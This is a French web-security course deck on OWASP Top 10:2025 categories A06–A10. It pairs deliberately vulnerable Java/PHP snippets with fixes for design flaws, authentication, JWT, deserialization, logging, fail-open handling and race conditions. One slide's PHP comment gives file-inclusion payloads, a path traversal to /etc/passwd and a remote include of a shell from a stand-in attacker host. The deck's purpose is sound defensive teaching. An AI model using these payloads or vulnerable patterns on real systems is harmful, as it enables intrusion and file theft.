

Techniques défensives et offensives des applications Web · Module 6

Les vulnérabilités du développement — partie 2

OWASP Top 10:2025, A06 → A10. Conception, authentification, intégrité, journalisation, gestion des erreurs — jusqu'à l'enchaînement vers la **RCE**.



Objectifs pédagogiques

Suite directe de la partie 1. À l'issue :

- Distinguer **faille de conception** et bug d'implémentation.
- Sécuriser l'**authentification** : sessions, JWT, MFA.
- Garantir l'**intégrité** du code et des données (désérialisation, signatures).
- Rendre les incidents **visibles** (journalisation, alertes).
- Gérer correctement les **conditions exceptionnelles** (nouveau 2025).
- Comprendre l'**enchaînement** d'une petite faille jusqu'à la RCE.

Même grille qu'en partie 1

① **mécanisme** → ② **code vulnérable** → ③ **correctif de prod** → ④ **impact et CWE**. Code réaliste (Spring Security, JWT, cosign, SIEM), pas de snippet « jouet ».

Changement 2025

Cette partie couvre désormais **Insecure Design** (A06) et la nouvelle catégorie **Mishandling of Exceptional Conditions** (A10).

A06

Insecure Design

Le code est correct, mais la **conception** est vulnérable. Aucun correctif de ligne ne suffit.

Dans cette catégorie

- Conception $\neq$ implémentation
- Anti-automatisation (rate limiting)
- Flux « mot de passe oublié »
- Logique métier et états
- Démarche et CWE

Conception $\neq$ implémentation

Bug d'implémentation

La fonctionnalité est bonne, le **code** a une erreur (oubli d'échapper). → se corrige **dans le code**.

Faible de conception

Le code fait **exactement** ce qui était prévu — mais ce qui était prévu est vulnérable (pas de limite, pas d'état, confiance excessive). → il faut **repenser**.

La bonne nouvelle

Une conception sûre **se code aussi** : rate limiting, machines à états, jetons robustes, idempotence. Les trois diapos suivantes en montrent le **code réel**. Le bon moment pour l'anticiper : le **threat modeling** (module 2).

Concevoir la limite, pas seulement la fonction

✗ Design vulnérable — code parfait, 0 limite

```
// vérifie un code OTP à 4 chiffres... sans limite
boolean verify(String user, String code) {
    return code.equals(store.get(user));
}
// 10 000 essais → brute-force garanti
```

✓ Design sûr — quota + verrouillage + compare constant

```
// Bucket4j : 5 essais / 15 min / utilisateur
Bucket b = Bucket.builder().addLimit(
    Bandwidth.classic(5, Refill.intervally(
        5, Duration.ofMinutes(15))))).build();

boolean verify(String user, String code) {
    if (!b.tryConsume(1)) throw new TooManyAttempts();
    return MessageDigest.isEqual( // temps constant
        code.getBytes(), store.get(user).getBytes());
}
```

Design complet

Code OTP à **forte entropie** (6+ chiffres), **TTL court**, **usage unique**, verrouillage progressif, et **CAPTCHA** au-delà d'un seuil.

Un jeton conçu pour ne pas être deviné ni rejoué

✗ Design vulnérable

```
// jeton = id séquentiel ou court, pas d'expiration,  
// stocké en clair, réutilisable  
String token = "" + user.getId() + rand(9999);
```

Devinable, énumérable, rejouable : la logique elle-même est cassée.

✓ Design sûr

```
byte[] raw = new byte[32]; rng.nextBytes(raw); // 256 bits  
String token = base64url(raw);  
// on stocke le HASH du jeton, pas le jeton  
store.save(user.id(), sha256(token),  
           Instant.now().plus(15, MINUTES)); // TTL  
mail.send(user, RESET_URL + token);  
// validation : sha256(token) comparé en constant-time,  
// TTL vérifié, jeton INVALIDÉ après usage (single-use)
```

Détail pro

Réponse **identique** que l'e-mail existe ou non (anti-énumération). Invalider les sessions actives après reset. Rate-limiter l'envoi.

États explicites, opérations idempotentes

✗ Design vulnérable — aucun état, coupon réutilisable

```
void applyCoupon(Order o, Coupon c) {  
    o.setDiscount(c.value()); // rejouable à l'infini,  
}  
                                // même sur une commande déjà payée
```

✓ Design sûr — machine à états + atomicité

```
@Transactional  
void applyCoupon(Order o, Coupon c) {  
    if (o.status() != DRAFT) // transition valide ?  
        throw new IllegalStateException();  
    if (!coupons.markUsedAtomically( // UPDATE ... WHERE used=0  
        c.id(), o.userId()))  
        throw new CouponAlreadyUsed();  
    o.setDiscount(c.value());  
}
```

Réflexes de conception

Modéliser les **transitions** autorisées, rendre les paiements **idempotents** (clé d'idempotence), verrouiller les opérations concurrentes, et faire du **threat modeling** (STRIDE) sur les **cas d'abus**, pas seulement le cas nominal.

Sécuriser en amont

Impact

- Fraude, contournement de la logique métier
- Abus à grande échelle (automatisation)
- Failles impossibles à « patcher » sans refonte

CWE-840 Business Logic **CWE-307** Brute Force **CWE-640** Weak Reset

CWE-657 Secure Design

Contre-mesures (en conception)

- **Threat modeling** avant de coder (STRIDE)
- **Patterns sûrs** et exigences (OWASP **ASVS**)
- Limites, quotas, états, idempotence explicites
- Tests des **cas d'abus**, pas seulement du cas nominal

A07

Authentication Failures

Prouver l'identité mal : mots de passe, sessions, jetons, second facteur.

Dans cette catégorie

- Quatre points de rupture
- Mot de passe et session
- Validation de JWT
- Second facteur (TOTP)
- Impact et CWE

Quatre points de rupture



Stockage

Hash faible, comparaison non constante



Session

Fixation, cookies non protégés



Jetons

JWT mal validé (`alg:none` , pas d'`exp`)



Brute-force

Pas de limite, pas de MFA

Objectif

Une authentification **résistante** combine : hash lent, session régénérée, jeton strictement validé, MFA, et limitation des tentatives. On les traite un par un. Rappel module 4 : les **passkeys** éliminent la plupart de ces risques.

Comparaison constante, session régénérée

X Vulnérable

```
if (user.getPassword().equals(input)) { // clair
    // session NON régénérée → fixation possible
    session.setAttribute("user", user);
}
```

✓ Correctif

```
if (encoder.matches(input, user.getHash()) // BCrypt/Argon2
    && loginLimiter.tryConsume(ip)) { // anti brute-force
    request.changeSessionId(); // anti-fixation
    session.setAttribute("uid", user.id());
}
// cookie: Secure; HttpOnly; SameSite=Lax
```

Détails pro

`encoder.matches` compare en **temps constant**. Régénérer l'ID de session au **changement de privilège**. Expirer les sessions (idle + absolu). Cookies `Secure` / `HttpOnly` / `SameSite`.

Vérifier la signature ET toutes les revendications

✗ Vulnérable — on « décode » sans vérifier

```
// accepte alg:none, ne vérifie ni exp ni émetteur
Claims c = Jwts.parser()
    .unsecured() // !!
    .build().parse(token).getPayload();
if ("admin".equals(c.get("role"))) ...
```

✓ Correctif

```
Jws<Claims> jws = Jwts.parser()
    .verifyWith(publicKey) // signature (RS256)
    .requireIssuer("https://idp.mycorp") // iss
    .requireAudience("my-api") // aud
    .clockSkewSeconds(30)
    .build().parseSignedClaims(token); // rejette alg:none, exp
```

Pièges JWT

Fixer l'**algorithme** attendu (jamais « celui du token »). Vérifier `exp` / `nbf`, `iss`, `aud`. Jetons **courts** + *refresh* révocable. Ne pas mettre de secret dans le payload (il est lisible).

Vérifier un code MFA correctement

Principe

Le **TOTP** (RFC 6238) : serveur et application partagent un secret ; les deux calculent le même code à 6 chiffres, valable ~30 s (vu au module 4).

```
// vérification avec fenêtre de tolérance  $\pm 1$  pas
boolean ok = totp.verify(secret, code, 1);
if (!ok || !mfaLimiter.tryConsume(user))
    throw new MfaFailed();
```

Bonnes pratiques MFA

- Secret stocké **chiffré** (jamais en clair)
- **Anti-rejeu** : un code déjà utilisé est refusé
- **Limiter** les tentatives (brute-force du code)
- Codes de **récupération** à usage unique
- Privilégier **WebAuthn / FIDO2** (résistant au phishing)

Conséquences et contre-mesures

Impact

- Prise de contrôle de comptes (ATO)
- Usurpation, vol de session, rejeu de jeton
- Accès en masse (credential stuffing)

CWE-287 Improper Auth **CWE-307** Brute Force **CWE-384** Session Fixation

CWE-347 Signature

Contre-mesures

- Hash lent + comparaison constante
- Session régénérée, cookies durcis
- JWT strictement validé, jetons courts
- **MFA** (idéalement WebAuthn), limitation

A08

Software or Data Integrity Failures

Faire confiance à du code ou des données **sans en vérifier l'intégrité.**

Dans cette catégorie

- Confiance sans vérification
- Désérialisation
- Intégrité de la chaîne (SRI, signature)
- Impact et CWE

Confiance sans vérification

Définition

Des **misés à jour**, **dépendances** ou **données sérialisées** sont acceptées **sans vérifier leur intégrité** (signature, origine).

Lien avec A03

A08 est proche de la **chaîne d'approvisionnement** (A03, module 5) mais se concentre sur la **vérification d'intégrité** : signer et contrôler ce qu'on exécute ou déséréalise.

Cas typiques

- Mise à jour **non signée** (cf. SolarWinds)
- **Désérialisation** de données non fiables
- Pipeline CI/CD **compromis**
- Script tiers chargé **sans SRI**

Format sûr + allowlist de classes

✗ Vulnérable — `readObject()` sur données non fiables

```
ObjectInputStream in =  
    new ObjectInputStream(req.getInputStream());  
Object o = in.readObject(); // chaîne de gadgets → RCE
```

✓ Correctif

```
// 1) préférer un format SANS code (JSON, schéma strict)  
MonDTO dto = mapper.readValue(body, MonDTO.class);  
// 2) si la sérialisation native est imposée :  
//     filtre d'allowlist (ObjectInputFilter, JEP 290)  
ois.setObjectInputFilter(  
    ObjectInputFilter.Config.createFilter(  
        "com.app.dto.*;!*"); // tout le reste refusé
```

Niveau pro

Un simple « on passe au JSON » ne suffit pas si un `readObject()` subsiste ailleurs. → **allowlist** de classes (jamais une denylist, contournable par de nouveaux *gadgets*), désérialisation **look-ahead**.

Signer et vérifier ce qu'on exécute

✓ Scripts tiers — Subresource Integrity

```
<script src="https://cdn/lib.js"
  integrity="sha384-oqVuA..."
  crossorigin="anonymous"></script>
// le navigateur refuse si le hash ne correspond pas
```

✓ Artefacts et images — signature

```
# signer l'image et vérifier avant déploiement
cosign sign registry/monapp:1.4.2
cosign verify registry/monapp:1.4.2 \
  --certificate-identity ci@mycorp
# + provenance SLSA, build reproductible
```

Le maillon CI/CD

Un pipeline compromis diffuse une version piégée à grande échelle. → secrets protégés, runners isolés, dépendances épinglées, artefacts **signés** et **vérifiés** à chaque étape (chaîne de confiance de bout en bout — cf. module 5, A03).

Conséquences et contre-mesures

Impact

- **RCE** via désérialisation
- Diffusion massive d'une version piégée
- Compromission de toute la chaîne de build

CWE-502 Deserialization **CWE-345** Insufficient Integrity **CWE-494**
Download w/o Integrity

Contre-mesures

- Allowlist de classes, formats sans code
- **Signatures** (cosign), **SRI**, provenance
- Pipeline CI/CD **durci** et vérifié

A09

Security Logging and Alerting Failures

Sans journaux ni alertes, une intrusion passe inaperçue pendant des mois.

Dans cette catégorie

- On ne voit pas ce qui se passe
- Journaliser utile et sûr
- Du journal à l'alerte
- Impact et CWE

On ne voit pas ce qui se passe

Définition

Journalisation **insuffisante**, absence de **surveillance** et d'**alertes** : les attaques ne sont ni détectées, ni traçables. Rappel module 1 : le délai moyen de détection se compte encore en **mois**.

Renommée en 2025

« Logging and **Alerting** Failures » : l'accent est mis sur l'**alerte**, pas seulement la collecte. Journaliser sans réagir ne sert à rien.

Deux excès opposés

- Trop peu : événements de sécurité **non journalisés**, pas d'alerte
- Trop / mal : **secrets** écrits dans les logs, logs **injectables**

Utile, structuré, sans fuite ni injection

X Vulnérable

```
// erreur avalée : aucune trace
catch (AuthException e) { }
// ou pire : secret + injection de log (CRLF)
log.info("login "+user+" / "+pwd);
```

✓ Correctif — événement structuré assaini

```
// pas de secret ; entrée assainie (anti CRLF)
log.warn("auth_failure user={} ip={} reason={}",
        sanitize(userId), ip, "bad_credentials");
// clés stables → corrélation SIEM + alerte au seuil
// sanitize() retire \r \n (CWE-117)
```

Quoi journaliser

Échecs d'authentification, refus d'accès, entrées invalides, changements de privilège. **Jamais** : mots de passe, jetons, données personnelles. Horodatage, identifiant de corrélation, format structuré (JSON).

Du journal à l'alerte

La chaîne de détection

- **Centraliser** les journaux (SIEM : ELK, Splunk...)
- **Corréler** et **alerter** (ex. 20 échecs de login / min)
- Protéger l'**intégrité** des logs (WORM, append-only)
- Définir une **réponse à incident** et la tester

Exemple de règle d'alerte

```
count(auth_failure) BY ip > 20 / 1min  
→ alerte + blocage temporaire de l'IP
```

La détection n'a de valeur que si **quelqu'un ou quelque chose réagit**.

Conséquences et contre-mesures

Impact

- Intrusion **invisible** pendant des mois
- Impossibilité d'**investiguer** après coup
- Fuite via des **secrets journalisés**
- Non-conformité (obligation de notification)

CWE-778 Insufficient Logging **CWE-117** Log Injection **CWE-532** Info in Logs

Contre-mesures

- Journaliser les **événements de sécurité**, format structuré
- **Assainir** les entrées (anti-injection), jamais de secret
- **Centraliser** (SIEM), corrélér, **alerter**
- Protéger l'intégrité des logs, tester la réponse à incident

A10

Mishandling of Exceptional Conditions

Nouvelle catégorie 2025. Ce qui se passe quand « ça se passe mal » : erreurs, exceptions, cas limites.

Dans cette catégorie

- Le cas nominal ne suffit pas
- Fail-open vs fail-closed
- Conditions de course (TOCTOU)
- Messages d'erreur
- Impact et CWE

Le danger est dans les cas non prévus

Définition

La **mauvaise gestion des conditions exceptionnelles** : exceptions avalées ou mal gérées, **états incohérents**, comportements imprévus sur les cas limites, erreurs qui laissent le système dans un état **non sûr**.

Pourquoi une catégorie en 2025

La plupart des failles logiques n'apparaissent pas dans le **cas nominal** mais dans les **chemins d'erreur** — rarement testés, rarement modélisés.

Cas typiques

- Exception **avalée** → le code continue comme si tout allait bien
- Erreur qui **ouvre l'accès** au lieu de le fermer (fail-open)
- **Condition de course** (TOCTOU) sur un contrôle
- Message d'erreur **trop bavard** (stack trace, requête SQL)

En cas d'erreur, refuser — pas autoriser

✗ Vulnérable — l'erreur ouvre l'accès (fail-open)

```
boolean autorise(User u, Resource r) {  
    try {  
        return pdp.check(u, r); // appel au service d'autorisation  
    } catch (Exception e) {  
        return true; // service KO → on laisse passer !  
    }  
}
```

✓ Correctif — refus par défaut (fail-closed)

```
boolean autorise(User u, Resource r) {  
    try {  
        return pdp.check(u, r);  
    } catch (Exception e) {  
        log.error("authz_error", e);  
        return false; // erreur → on REFUSE  
    }  
}
```

Le principe

Un contrôle de sécurité qui **échoue** doit **refuser** (fail-closed / fail-safe), jamais accorder. Cela vaut pour l'authz, la validation, le WAF, la vérification de licence... Toute exception dans un contrôle = **refus** + journalisation.

Vérifier et agir sans fenêtre exploitable

✗ Vulnérable — TOCTOU (check puis use)

```
// deux requêtes concurrentes passent le test ensemble
if (account.balance() >= amount) { // TIME-OF-CHECK
    account.debit(amount);          // TIME-OF-USE
} // solde débité deux fois (double dépense)
```

✓ Correctif — atomicité / verrou

```
// débit atomique conditionnel en base
int n = jdbc.update(
    "UPDATE account SET balance = balance - :a " +
    "WHERE id = :id AND balance >= :a",
    params);
if (n == 0) throw new InsufficientFunds();
// une seule requête gagne ; verrou optimiste possible
```

Généralisation

Toute séquence « **vérifier puis agir** » sur une ressource partagée est vulnérable aux accès concurrents. → rendre l'opération **atomique** (UPDATE conditionnel, transaction, verrou optimiste ou pessimiste, clé d'idempotence).

Conséquences et contre-mesures

Impact

- Contournement d'un contrôle en cas d'erreur (fail-open)
- Double dépense, incohérences (race conditions)
- Fuite d'infos techniques (erreurs verbeuses)
- Dénier de service par état incohérent

CWE-636 Fail-open **CWE-367** TOCTOU **CWE-755** Improper Exception Handling **CWE-209** Error Message

Contre-mesures

- **Fail-closed** : une erreur refuse, ne libère pas
- Opérations **atomiques** / idempotentes (anti-TOCTOU)
- Gérer **toutes** les exceptions, ne rien avaler
- Messages d'erreur **génériques** (détails dans les logs)
- Tester les **chemins d'erreur**, pas seulement le cas nominal



Attaques avancées et enchaînements

SSRF, inclusion de fichiers, et la montée vers une exécution de code (RCE).

Dans cette partie

- SSRF (rappel — classée A01 en 2025)
- LFI, RFI, wrappers
- Enchaînement jusqu'à la RCE

Le serveur, intermédiaire de l'attaquant — CWE-918



Où est-elle en 2025 ?

La **SSRF** n'est plus une catégorie autonome : elle a été **absorbée dans A01** (Broken Access Control). Le mécanisme et la parade restent essentiels.

Correctif clé

Valider l'**IP résolue** (pas seulement le nom — anti DNS rebinding), **aucune redirection** suivie, **cloisonner** le trafic sortant, et en cloud utiliser **IMDSv2**.

LFI, RFI, wrappers — CWE-98

X Vulnérable (PHP)

```
include($_GET['page']);  
// LFI : ?page=../../../../etc/passwd  
// RFI : ?page=http://evil.tld/shell.txt  
// wrapper : ?page=php://filter/...=index.php
```

✓ Correctif

```
// liste blanche stricte de pages autorisées  
$PAGES = ['accueil'=>'home.php', 'aide'=>'help.php'];  
$p = $PAGES[$_GET['page']] ?? null;  
if (!$p) { http_response_code(404); exit; }  
include(__DIR__."/pages/".$p);  
// + allow_url_include=off, open_basedir
```

Règle

Ne jamais construire un chemin de fichier à partir d'une entrée. Liste blanche, **normaliser** le chemin (anti `../`), désactiver l'inclusion distante et les wrappers dangereux.

Comment une « petite » faille devient une RCE



La leçon

Une faille « simple » (lecture de fichier) devient **critique** combinée à d'autres. La **RCE** donne le contrôle du serveur — d'où l'importance de la **défense en profondeur** et du moindre privilège (l'attaquant ne doit pas hériter des droits du service).

Le fil avec le Top 10

Cet enchaînement mêle A05 (injection/LFI), A09 (logs mal protégés) et A10 (comportement imprévu). **Aucune faille n'est « mineure » isolément.**

A06 → A10 (édition 2025) en un tableau

Catégorie	Le point dur	Correctif de référence
A06 Insecure Design	La conception est la faille	Threat modeling, rate limiting, jetons robustes, machines à états
A07 Authentication Failures	Hash, session, JWT, MFA	Argon2, session régénérée, JWT validé, WebAuthn
A08 Integrity Failures	Confiance sans vérification	Allowlist de classes, cosign/SRI, provenance
A09 Logging & Alerting	Aveugle ou fuyant	Événements structurés assainis, SIEM + alertes
A10 Exceptional Conditions	Chemins d'erreur non gérés	Fail-closed, opérations atomiques, tester les cas d'abus

Rappel structure 2025

Insecure Design (A06) et Mishandling of Exceptional Conditions (A10) sont les nouveautés ici. **Vulnerable Components** est devenu A03 et **SSRF** a rejoint A01 — tous deux traités en **partie 1**.

Les sigles du module en un coup d'œil

CWE — Common Weakness Enumeration (type de faiblesse)

MFA — Multi-Factor Authentication

ATO — Account Takeover (prise de contrôle de compte)

SIEM — Security Information and Event Management

IMDSv2 — service de métadonnées cloud durci

LFI / RFI — Local / Remote File Inclusion

ASVS — Application Security Verification Standard

WebAuthn / FIDO2 — auth forte résistante au phishing

SRI — Subresource Integrity (intégrité des scripts tiers)

WORM — Write Once Read Many (logs inaltérables)

TOCTOU — Time-Of-Check to Time-Of-Use (course)

RCE — Remote Code Execution

OTP / TOTP — code à usage unique / temporel (RFC 6238)

JWT — JSON Web Token (jeton signé)

cosign / SLSA — signature et provenance des artefacts

SSRF — Server-Side Request Forgery (→ A01 en 2025)

Fail-closed — en cas d'erreur, refuser l'accès

DTO — Data Transfer Object (objet d'entrée dédié)

Ce qu'il faut retenir

Rang	Catégorie 2025
A01	Broken Access Control (+ SSRF)
A02	Security Misconfiguration
A03	Software Supply Chain Failures (nouveau)
A04	Cryptographic Failures
A05	Injection
A06	Insecure Design
A07	Authentication Failures
A08	Software or Data Integrity Failures
A09	Logging & Alerting Failures
A10	Mishandling of Exceptional Conditions (nouveau)

Trois principes stables

Ne pas faire confiance à l'entrée · **Refus par défaut** (et fail-closed) · Sécurité et **intégrité** vérifiées à chaque étape. Le référentiel évolue, ces principes restent.

Une faille en cache d'autres

Le Top 10 couvre **code, conception, dépendances et exploitation**. Une faille « simple » peut **s'enchaîner** jusqu'à la RCE : aucune n'est mineure isolément.

Sources et références

Référentiels

- **OWASP Top 10:2025** — owasp.org/Top10
- **OWASP ASVS, Cheat Sheet Series, API Security Top 10**
- **CWE Top 25** (MITRE/CISA)
- **Saltzer & Schroeder** — fail-safe defaults

Outils cités

- Spring Security, jjwt, Bucket4j
- cosign / Sigstore, SIEM (ELK, Splunk)

Cohérence à valider

Ce module suit l'édition **2025** comme la partie 1 : **Insecure Design** (A06) et **Mishandling of Exceptional Conditions** (A10) y sont traités ; **Vulnerable Components** (→ A03) et **SSRF** (→ A01) ont migré vers la **partie 1 (module 5)**.

À actualiser

Le Top 10 est réédité tous les 3-4 ans (prochaine révision attendue vers 2028-2029) ; les paramètres cryptographiques et versions d'outils évoluent plus vite.

Fin du module 6

Des questions ?

Le Top 10:2025 est complet, A01 → A10, du code vulnérable au correctif de production. Place aux **contre-mesures structurées** et à l'automatisation.